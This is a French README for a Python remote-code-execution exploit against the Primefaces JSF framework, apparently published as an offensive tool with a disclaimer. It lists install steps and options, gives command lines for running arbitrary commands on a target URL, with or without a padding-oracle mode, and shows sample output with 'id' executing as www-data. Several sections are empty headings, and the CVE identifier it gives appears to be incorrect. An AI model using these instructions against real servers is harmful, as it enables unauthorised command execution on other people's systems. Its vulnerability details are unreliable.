
Exploit basé sur Python pour CVE-2020-1039909, une vulnérabilité d'exécution de code à distance dans Primefaces JSF. Exécute des commandes arbitraires via une attaque par oracle de bourrage, avec des options pour le proxy, les cookies et le mode POC.
README - CVE-2020-1039909 Primefaces Remote Code Execution
============================================================
À PROPOS DE LA VULNÉRABILITÉ
CVE-2020-1039909 est une vulnérabilité d'exécution de code à distance (RCE) dans le framework Primefaces JSF. La faille permet à un attaquant d'exécuter des commandes arbitraires sur le serveur via une attaque de type Padding Oracle, en raison de l'utilisation d'un chiffrement faible et d'un mot de passe par défaut.
Versions affectées :
Impact :
============================================================
PRÉ-REQUIS
Installation des dépendances :
pip install requests pycryptodome paddingoracle
============================================================
COMMANDES DISPONIBLES
Paramètres de base :
target URL de la cible (ex : http://target.com) -pw, --password Mot de passe Primefaces (défaut : primefaces) -pt, --path Chemin vers dynamiccontent.properties (défaut : /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd Commande à exécuter (défaut : whoami) -poc, --poc Utiliser un payload de test (vérifie uniquement la vulnérabilité) -px, --proxy Configurer un proxy (ex : http://127.0.0.1:8080) -ck, --cookie Configurer un cookie -o, --oracle Activer l'attaque Padding Oracle (1 = activé, 0 = désactivé) (DÉFAUT : 0) (LENT) -pl, --payload Payload EL chiffré (à utiliser avec Padding Oracle)
============================================================
EXEMPLES D'UTILISATION
python3 exploit.py
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "payload_chiffré"
============================================================
EXEMPLE DE SORTIE
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
MODE POC (TEST DE VULNÉRABILITÉ)
Le mode POC vérifie uniquement si la cible est vulnérable sans exécuter de commandes dangereuses :
python3 exploit.py http://target.com --poc
Sortie attendue si vulnérable :
[+] BANG!!! :D - Target IS VULNERABLE!!!
Sortie si non vulnérable :
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE (MODE LENT)
Si l'attaque par défaut ne fonctionne pas (corps de réponse vide), essayez le mode Padding Oracle. Ce mode est plus lent mais plus efficace :
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
PROXY ET DEBUG
Pour analyser les requêtes avec Burp Suite :
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
ERREURS COURANTES ET SOLUTIONS
"Response body empty... Target might not be vulnerable" Essayez le mode Padding Oracle : -o 1
"Target Probably NOT VULNERABLE" La cible peut être patchée ou n'utilise pas le mot de passe par défaut
"Connection refused" Vérifiez que la cible est accessible
"SSL Error" Utilisez http au lieu de https ou ignorez les certificats
============================================================
CONSEILS POUR L'EXPLOITATION
============================================================
AVERTISSEMENT
Ce logiciel est fourni à des fins éducatives et de test. L'auteur n'est pas responsable des dommages, pertes ou conséquences découlant d'une mauvaise utilisation de cet outil.
L'utilisateur est le seul responsable de ses actions. L'utilisation de cet exploit sur des systèmes sans autorisation est illégale et peut entraîner des sanctions civiles et pénales.
Utilisez-le avec responsabilité et éthique. Le savoir est fait pour être partagé, mais la sagesse réside dans la manière et le moment de l'utiliser.
============================================================
MITIGATION (POUR ADMINISTRATEURS)
============================================================
RÉFÉRENCES
============================================================
Developed by byt3l0rd